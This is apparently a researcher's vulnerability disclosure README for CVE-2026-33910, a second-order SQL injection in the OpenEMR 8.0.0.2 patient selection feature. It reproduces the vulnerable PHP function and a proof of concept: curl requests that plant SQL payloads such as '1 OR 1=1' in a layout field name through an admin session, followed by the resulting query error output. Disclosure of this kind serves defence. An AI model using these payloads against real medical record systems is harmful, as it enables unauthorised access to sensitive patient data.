# CVE-2026-33910 - SQL Injection Vulnerability in OpenEMR < 8.0.0.3 > Weakness CWE-89 >> Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') >> The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE. ### Summary OpenEMR 8.0.0.2 contains a SQL injection vulnerability in the patient selection feature that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the patient selection feature. ### Details The vulnerability occurs in the patient selection feature, where database entries are directly concatenated into SQL queries without proper sanitization. This allows attackers to inject malicious SQL code by first inserting a payload into the database. The vulnerability affects the following lines: - [patient.inc.php line 689](https://github.com/openemr/openemr/blob/28e76a3b0f09f0e9a42e28141fcab1e9ade13887/library/patient.inc.php#L689) ```php function getByPatientDemographics($searchTerm = "%", $given = "pid, id, lname, fname, mname, providerID, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS", $orderby = "lname ASC, fname ASC", $limit = "all", $start = "0") { $layoutCols = sqlStatement( "SELECT field_id FROM layout_options WHERE form_id = 'DEM' AND field_id not like ? AND uor != 0", ['em\_%'] ); $sqlBindArray = []; $where = ""; for ($iter = 0; $row = sqlFetchArray($layoutCols); $iter++) { if ($iter > 0) { $where .= " or "; } $where .= " " . add_escape_custom($row["field_id"]) . " like ? "; array_push($sqlBindArray, "%" . $searchTerm . "%"); } $sql = "SELECT $given FROM patient_data WHERE $where ORDER BY $orderby"; if ($limit != "all") { $sql .= " limit " . escape_limit($start) . ", " . escape_limit($limit); } $rez = sqlStatement($sql, $sqlBindArray); for ($iter = 0; $row = sqlFetchArray($rez); $iter++) { $returnval[$iter] = $row; } if (is_countable($returnval)) { _set_patient_inc_count($limit, count($returnval), $where, $sqlBindArray); } return $returnval; } ``` ```sql SELECT * FROM patient_data WHERE like ? or like ? or like ? ... ``` > NOTE: To exploit the vulnerability, an insertion is required. To insert data into the `layout_options` table, I use `/interface/super/edit_layout.php` with the required ACL: `AclMain::aclCheckCore('admin', 'super')`. I have not proven that only an admin can insert a payload into `layout_options.field_id`, but my PoC uses an admin account. ### PoC ``` ┌──(kali㉿kali)-[~] └─$ curl -X POST "http://172.18.0.3/interface/super/edit_layout.php" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: OpenEMR=76a6afd3b6a64035d8c3e1800eb5b5ac" --data-urlencode "formaction=addfield" --data-urlencode "layout_id=DEM" --data-urlencode "csrf_token_form=55a14465e41acbdbd4d88e80cad22083ef975b9c" --data-urlencode "newid=injection'payload" --data-urlencode "newtitle=Test Field" --data-urlencode "newdatatype=1" --data-urlencode "newfieldgroupid=1" --data-urlencode "newseq=1" --data-urlencode "newuor=1" --data-urlencode "newlengthWidth=255" --data-urlencode "newlengthHeight=1" --data-urlencode "newtitlecols=1" --data-urlencode "newdatacols=1" --data-urlencode "newdefault=" --data-urlencode "newcodes=" --data-urlencode "newdesc=Field created via curl" --data-urlencode "newmaxSize=255" --data-urlencode "newsource=" --data-urlencode "newlistid=" --data-urlencode "newbackuplistid="
There was an OpenEMR SQL Escaping ERROR of the following string injection'payload
┌──(kali㉿kali)-[~] └─$ curl -X POST "http://172.18.0.3/interface/super/edit_layout.php" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: OpenEMR=76a6afd3b6a64035d8c3e1800eb5b5ac" --data-urlencode "formaction=addfield" --data-urlencode "layout_id=DEM" --data-urlencode "csrf_token_form=55a14465e41acbdbd4d88e80cad22083ef975b9c" --data-urlencode "newid=1 OR 1=1" --data-urlencode "newtitle=Test Field" --data-urlencode "newdatatype=1" --data-urlencode "newfieldgroupid=1" --data-urlencode "newseq=1" --data-urlencode "newuor=1" --data-urlencode "newlengthWidth=255" --data-urlencode "newlengthHeight=1" --data-urlencode "newtitlecols=1" --data-urlencode "newdatacols=1" --data-urlencode "newdefault=" --data-urlencode "newcodes=" --data-urlencode "newdesc=Field created via curl" --data-urlencode "newmaxSize=255" --data-urlencode "newsource=" --data-urlencode "newlistid=" --data-urlencode "newbackuplistid="
There was an OpenEMR SQL Escaping ERROR of the following string 1 OR 1=1
┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=3e05a485cd972a80234bbf22bd94a9b7" 'http://172.18.0.3/interface/main/finder/patient_select.php?from_page=&report_id=0&csrf_token_form=f242b99731487d705ef38764ac86b8341940ffab&findBy=Any' ... SQL Statement failed on preparation: SELECT * FROM patient_data WHERE 1 OR 1=1 like ? or additional_addresses like ? or allow_health_info_ex like ? or allow_imm_info_share like ? or allow_imm_reg_use like ? or allow_patient_portal like ? or billing_note like ? or birth_fname like ? or birth_lname like ? or birth_mname like ? or care_team_facility like ? or care_team_provider like ? or care_team_status like ? or city like ? or cmsportal_login like ? or contact_relationship like ? or country_code like ? or county like ? or deceased_date like ? or deceased_reason like ? or DOB like ? or drivers_license like ? or email like ? or email_direct like ? or ethnicity like ? or family_size like ? or financial_review like ? or fname like ? or gender_identity like ? or genericname1 like ? or genericname2 like ? or genericval1 like ? or genericval2 like ? or guardianaddress like ? or guardiancity like ? or guardiancountry like ? or guardianemail like ? or guardianphone like ? or guardianpostalcode like ? or guardianrelationship like ? or guardiansex like ? or guardiansname like ? or guardianstate like ? or guardianworkphone like ? or hipaa_allowemail like ? or hipaa_allowsms like ? or hipaa_mail like ? or hipaa_message like ? or hipaa_notice like ? or hipaa_voice like ? or homeless like ? or imm_reg_status like ? or imm_reg_stat_effdate like ? or industry like ? or injection\'payload like ? or interpreter_needed like ? or interpretter like ? or language like ? or lname like ? or migrantseasonal like ? or mname like ? or monthly_income like ? or mothersname like ? or name_history like ? or nationality_country like ? or occupation like ? or patient_groups like ? or pharmacy_id like ? or phone_biz like ? or phone_cell like ? or phone_contact like ? or phone_home like ? or postal_code like ? or preferred_name like ? or prevent_portal_apps like ? or protect_indicator like ? or prot_indi_effdate like ? or providerID like ? or provider_since_date like ? or publicity_code like ? or publ_code_eff_date like ? or pubpid like ? or race like ? or referral_source like ? or ref_providerID like ? or related_persons like ? or religion like ? or sex like ? or sexual_orientation like ? or sex_identified like ? or ss like ? or state like ? or status like ? or street like ? or street_line_2 like ? or suffix like ? or title like ? or tribal_affiliations like ? or vfc like ? ORDER BY lname ASC, fname ASC limit 0, 100'

Query Error

ERROR: query failed: SELECT * FROM patient_data WHERE 1 OR 1=1 like ? or additional_addresses like ? or allow_health_info_ex like ? or allow_imm_info_share like ? or allow_imm_reg_use like ? or allow_patient_portal like ? or billing_note like ? or birth_fname like ? or birth_lname like ? or birth_mname like ? or care_team_facility like ? or care_team_provider like ? or care_team_status like ? or city like ? or cmsportal_login like ? or contact_relationship like ? or country_code like ? or county like ? or deceased_date like ? or deceased_reason like ? or DOB like ? or drivers_license like ? or email like ? or email_direct like ? or ethnicity like ? or family_size like ? or financial_review like ? or fname like ? or gender_identity like ? or genericname1 like ? or genericname2 like ? or genericval1 like ? or genericval2 like ? or guardianaddress like ? or guardiancity like ? or guardiancountry like ? or guardianemail like ? or guardianphone like ? or guardianpostalcode like ? or guardianrelationship like ? or guardiansex like ? or guardiansname like ? or guardianstate like ? or guardianworkphone like ? or hipaa_allowemail like ? or hipaa_allowsms like ? or hipaa_mail like ? or hipaa_message like ? or hipaa_notice like ? or hipaa_voice like ? or homeless like ? or imm_reg_status like ? or imm_reg_stat_effdate like ? or industry like ? or injection\'payload like ? or interpreter_needed like ? or interpretter like ? or language like ? or lname like ? or migrantseasonal like ? or mname like ? or monthly_income like ? or mothersname like ? or name_history like ? or nationality_country like ? or occupation like ? or patient_groups like ? or pharmacy_id like ? or phone_biz like ? or phone_cell like ? or phone_contact like ? or phone_home like ? or postal_code like ? or preferred_name like ? or prevent_portal_apps like ? or protect_indicator like ? or prot_indi_effdate like ? or providerID like ? or provider_since_date like ? or publicity_code like ? or publ_code_eff_date like ? or pubpid like ? or race like ? or referral_source like ? or ref_providerID like ? or related_persons like ? or religion like ? or sex like ? or sexual_orientation like ? or sex_identified like ? or ss like ? or state like ? or status like ? or street like ? or street_line_2 like ? or suffix like ? or title like ? or tribal_affiliations like ? or vfc like ? ORDER BY lname ASC, fname ASC limit 0, 100

Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\'payload like ? or interpreter_needed like ? or interpretter like ? or ...' at line 1


/var/www/localhost/htdocs/openemr/library/patient.inc.php at 685:sqlStatement
/var/www/localhost/htdocs/openemr/interface/main/finder/patient_select.php at 271:getByPatientDemographics(,*,lname ASC, fname ASC,100,0) ┌──(kali㉿kali)-[~] └─$ ``` ### Impact - Unauthorized access to database information - Potential data breach of sensitive medical information - Server-side code execution (in some cases) - Database compromise ### Vulnerability Fix Process 1. Assess and validate the vulnerability 2. Request or assign a CVE ID 3. Create a private fork or private branch 4. Develop the fix 5. Write regression and security tests 6. Prepare release notes and security advisory draft 7. Publish the fix (code merge) and release a patched version 8. Publicly disclose the vulnerability ### Credits - Researcher: Christophe SUBLET - Organization: Grenoble INP - Esisar, UGA - Project: CyberSkills, Orion ## Links https://www.cve.org/CVERecord?id=CVE-2026-33910 ## License This project is licensed under the MIT License – see the LICENSE file for details. Please cite our paper: [https://github.com/ChrisSub08/CVE-2026-33910_SqlInjectionVulnerabilityOpenEMR8.0.0.2](https://github.com/ChrisSub08/CVE-2026-33910_SqlInjectionVulnerabilityOpenEMR8.0.0.2)